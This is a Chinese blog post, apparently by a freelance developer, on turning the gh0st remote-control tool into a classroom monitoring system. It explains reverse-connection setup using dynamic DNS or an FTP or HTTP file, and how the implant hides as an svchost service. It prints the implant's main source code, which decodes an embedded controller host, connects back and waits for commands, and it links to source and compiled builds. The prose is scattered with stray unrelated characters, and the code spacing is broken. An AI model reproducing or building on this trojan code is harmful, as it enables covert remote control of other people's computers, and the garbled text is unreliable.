?前一段時間接到個私活,幫人開發(fā) 培訓(xùn)機構(gòu)的學(xué)員管理系統(tǒng),實現(xiàn)學(xué)生上線,自動通知老師,老師可以對學(xué)員的電腦進行屏幕分享和遠程操作? . 接到活之后,感覺就是 遠控系統(tǒng),在此基礎(chǔ)上增加一些學(xué)員管理的功能.??為了快速開發(fā),就打算在 最流行g(shù)h0st 項目上進行完善 .? ?
準備 :? gh0st 項目,? ?編譯環(huán)境: visual stdio2015? ? c++
gh0st項目是在vc6.0環(huán)境編譯,為了適應(yīng)后期功能添加,改成了 visual stdio2015 環(huán)境編譯 .
為了詳細了解網(wǎng)絡(luò)編程 iocp 反彈連接? 看了 "51cto 遠程控制視屏"? 還有 "老狼的ghost教學(xué)視屏" ,也建議對網(wǎng)絡(luò)編程感興趣的同學(xué)去看看
?下載連接如下:
老狼視屏:https://pan.baidu.com/s/1v6Ir2_6eKepQjRmx_38mWQ
源碼與成品:?鏈接:https://pan.baidu.com/s/11Or6WJp-I1i0JHtAyv89-Q
提取碼:聯(lián)系?qq: 70583079
?好了下面直接上干貨:gh0st是什么,大概原理是什么巷懈。
? ? gh0st是一款基于C/S架構(gòu)的遠程管理軟件(我只是就事論事哭廉,不想討論C/S架構(gòu)過時或不過時)萍丐。所謂遠程管理拣宰,就是我在我的電腦上通過一些手段党涕,可以操作其他電腦。什么是C/S架構(gòu)巡社,C表示Client,S表示Server,也就是客戶端和服務(wù)端的意思膛堤。可以這樣理解C/S晌该,現(xiàn)在有兩臺電腦肥荔,一臺是Server,一臺是Client气笙,server電腦就會開啟一個端口次企,并一直監(jiān)聽這個端口中的信息。client來連接這個端口潜圃,連接成功后缸棵,兩臺機器就能互相發(fā)送信息了。(具體的原理建議大家去看socket通信)
? ? gh0st用的是C/S架構(gòu)中的反向連接谭期。我用主控端和被控端來稱呼黑客的電腦和肉雞的電腦堵第。反向連接的意思就是我主控端作為server,被控端作為client,主控端監(jiān)聽一個固定的端口,并有一個固定的IP隧出。然后被控端來連接這個IP的該端口踏志,這就是所謂的上線。
? ? 在實際情況中胀瞪,黑客的電腦并不是都有固定的IP针余,我在我們寢室使用的是一個路由器,于是我的IP只是內(nèi)網(wǎng)IP凄诞,192.168.x.x圆雁。而且,如果我換一個地方上網(wǎng)帆谍,IP也會變伪朽。這樣我的被控端是找不到我的IP的。所以很多遠控對待該問題汛蝙,有兩個解決方案:
? ? 1.DNS上線
? ? 花生殼烈涮、3322提供了免費的動態(tài)域名服務(wù),其實就是提供了DNS服務(wù)窖剑。我們把自己的IP綁定到DNS服務(wù)器上坚洽,被控端通過對DNS的解析,找到主控端的IP西土,再連接讶舰。下次換地方上網(wǎng)了,只需要更改自己綁定到DNS上的IP即可。
? ? 2.FTP(HTTP)上線
? ? 我們把自己的IP寫入一個文本文件1.txt绘雁,放在ftp(http)服務(wù)器上,比如ftp://leavesongs.com/1.txt援所。被控端去下載該txt,在其中找到主控端的IP庐舟。再連接。
? ? 當然gh0st對他們都是支持的住拭。
? ? 再講講gh0st這個軟件的組成挪略。老狼給的gh0st最終編譯好就是一個exe文件,點擊打開后是一個主控端的樣子:
? ? 在build選項卡中滔岳,填好相關(guān)信息杠娱,可以生成一個exe文件,這就是所謂的被控端谱煤。
? ? 但是我們打開源碼看摊求,其實它是主要由三個部分組成,一是帶界面的主控端刘离,一個是動態(tài)鏈接庫dll室叉,一個是加載dll的exe。我們被控端的所有功能都是寫在dll當中的硫惕。而并不是寫在exe文件中茧痕。
? ? 大局觀大概就是這些。再說一下gh0st核心內(nèi)容恼除。
? ? 在傳輸數(shù)據(jù)方面踪旷,主控端使用IOCP模型,關(guān)于該模型請google豁辉。在主控端中令野,由CIOCPServer類實現(xiàn)。在被控端中秋忙,數(shù)據(jù)傳輸使用CClientSocket類實現(xiàn)彩掐。數(shù)據(jù)傳輸是遠控的核心,所以這兩個類也就成了gh0st的核心類灰追。當然堵幽,在傳輸過程中,gh0st使用zlib進行壓縮弹澎,減小數(shù)據(jù)包的大小朴下。
? ? 在被控端管理方面,gh0st使用了一個很好的方案苦蒿。先做了一個CManager類殴胧,作為所有管理功能的基類,其他的比如系統(tǒng)管理類CSystenManager就繼承了CManager。大大地增加了代碼的重用性团滥。
? ? 在主控端方面竿屹,有這樣一個回調(diào)函數(shù)NotifyProc,所有被控端發(fā)來的消息灸姊,都會經(jīng)過此函數(shù)拱燃,在該函數(shù)中使用switch語句,處理各個消息力惯。使得代碼看起來井井有條碗誉。
? ? 在穩(wěn)定性方面,被控端宿主為svchost以系統(tǒng)服務(wù)啟動父晶,并有守護線程哮缺,用心跳包機制防止以外掉線。
?服務(wù)端代碼:?
// svchost.cpp : Defines the entry point for the console application.//#include "ClientSocket.h"#include "common/KernelManager.h"#include "common/KeyboardManager.h"#include "common/login.h"#include "common/install.h"#include "common/until.h"enum{
? ? NOT_CONNECT, //? 還沒有連接? ? GETLOGINFO_ERROR,
? ? CONNECT_ERROR,
? ? HEARTBEATTIMEOUT_ERROR
};#defineHEART_BEAT_TIME? ? ? ? 1000 * 60 * 3// 心跳時間char? ? svcname[MAX_PATH];
LONG WINAPI bad_exception(struct_EXCEPTION_POINTERS* ExceptionInfo) {
? ? return0;
}// 一定要足夠長int main()
{
? ? return0;
}int WINAPI WinMain(? HINSTANCE hInstance,?
? ? ? ? ? ? ? ? ? ? HINSTANCE hPrevInstance,
? ? ? ? ? ? ? ? ? ? LPSTR lpCmdLine,? int nShowCmd )
{
? ? CKeyboardManager::g_hInstance = (HINSTANCE)hInstance;
? ? CKeyboardManager::m_dwLastMsgTime = GetTickCount();
? ? CKeyboardManager::Initialization();
? ? // lpServiceName,在ServiceMain返回后就沒有了charstrServiceName[256];
? ? charstrKillEvent[50];
? ? HANDLE? ? hInstallMutex = NULL;
? ? char*lpURL = (char*)FindConfigString(CKeyboardManager::g_hInstance,"AAAAAA");
? ? if(lpURL == NULL)
? ? {
? ? ? ? return-1;
? ? }
? ? //////////////////////////////////////////////////////////////////////////// Set Window StationHWINSTA hOldStation = GetProcessWindowStation();
? ? HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
? ? if(hWinSta != NULL)
? ? ? ? SetProcessWindowStation(hWinSta);
? ? ////////////////////////////////////////////////////////////////////////////if(CKeyboardManager::g_hInstance != NULL)
? ? {
? ? ? ? SetUnhandledExceptionFilter(bad_exception);
? ? ? ? wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount());// 隨機事件名? ? ? ? hInstallMutex = CreateMutex(NULL,true, lpURL);
? ? }
? ? // 告訴操作系統(tǒng):如果沒有找到CD/floppy disc,不要彈窗口嚇人? ? SetErrorMode( SEM_FAILCRITICALERRORS);
? ? char*lpszHost = NULL;
? ? DWORD? ? dwPort =80;
? ? char*lpszProxyHost = NULL;
? ? DWORD? ? dwProxyPort =0;
? ? char*lpszProxyUser = NULL;
? ? char*lpszProxyPass = NULL;
? ? HANDLE? ? hEvent = NULL;
? ? CClientSocket socketClient;
? ? BYTE? ? bBreakError = NOT_CONNECT;// 斷開連接的原因,初始化為還沒有連接while(1)
? ? {
? ? ? ? // 如果不是心跳超時甲喝,不用再sleep兩分鐘if(bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
? ? ? ? {
? ? ? ? ? ? // 2分鐘斷線重連, 為了盡快響應(yīng)killeventfor(inti =0; i <2000; i++)
? ? ? ? ? ? {
? ? ? ? ? ? ? ? hEvent = OpenEvent(EVENT_ALL_ACCESS,false, strKillEvent);
? ? ? ? ? ? ? ? if(hEvent != NULL)
? ? ? ? ? ? ? ? {
? ? ? ? ? ? ? ? ? ? socketClient.Disconnect();
? ? ? ? ? ? ? ? ? ? CloseHandle(hEvent);
? ? ? ? ? ? ? ? ? ? break;
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? // 改一下Sleep(60);
? ? ? ? ? ? }
? ? ? ? }
? ? ? ? // 上線間隔為2分, 前6個'A'是標志if(!getLoginInfo(MyDecode(lpURL +6), &lpszHost, &dwPort, &lpszProxyHost,
? ? ? ? ? ? &dwProxyPort, &lpszProxyUser, &lpszProxyPass))
? ? ? ? {
? ? ? ? ? ? bBreakError = GETLOGINFO_ERROR;
? ? ? ? ? ? continue;
? ? ? ? }
? ? ? ? if(lpszProxyHost != NULL)
? ? ? ? ? ? socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
? ? ? ? else? ? ? ? ? ? socketClient.setGlobalProxyOption();
? ? ? ? DWORD dwTickCount = GetTickCount();
? ? ? ? if(!socketClient.Connect(lpszHost, dwPort))
? ? ? ? {
? ? ? ? ? ? bBreakError = CONNECT_ERROR;
? ? ? ? ? ? continue;
? ? ? ? }
? ? ? ? // 登錄DWORD dwExitCode = SOCKET_ERROR;
? ? ? ? sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
? ? ? ? CKernelManager? ? manager(&socketClient , strKillEvent, lpszHost, dwPort);
? ? ? ? socketClient.setManagerCallBack(&manager);
? ? ? ? //////////////////////////////////////////////////////////////////////////// 等待控制端發(fā)送激活命令尝苇,超時為10秒,重新連接,以防連接錯誤for(inti =0; (i <10&& !manager.IsActived()); i++)
? ? ? ? {
? ? ? ? ? ? Sleep(1000);
? ? ? ? }
? ? ? ? // 10秒后還沒有收到控制端發(fā)來的激活命令埠胖,說明對方不是控制端茎匠,重新連接if(!manager.IsActived())
? ? ? ? ? ? continue;
? ? ? ? //////////////////////////////////////////////////////////////////////////? ? ? ? DWORD? ? dwIOCPEvent;
? ? ? ? dwTickCount = GetTickCount();
? ? ? ? do? ? ? ? {
? ? ? ? ? ? hEvent = OpenEvent(EVENT_ALL_ACCESS,false, strKillEvent);
? ? ? ? ? ? dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent,100);
? ? ? ? ? ? Sleep(500);
? ? ? ? } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
? ? ? ? if(hEvent != NULL)
? ? ? ? {
? ? ? ? ? ? socketClient.Disconnect();
? ? ? ? ? ? CloseHandle(hEvent);
? ? ? ? ? ? break;
? ? ? ? }
? ? }
? ? return0;
}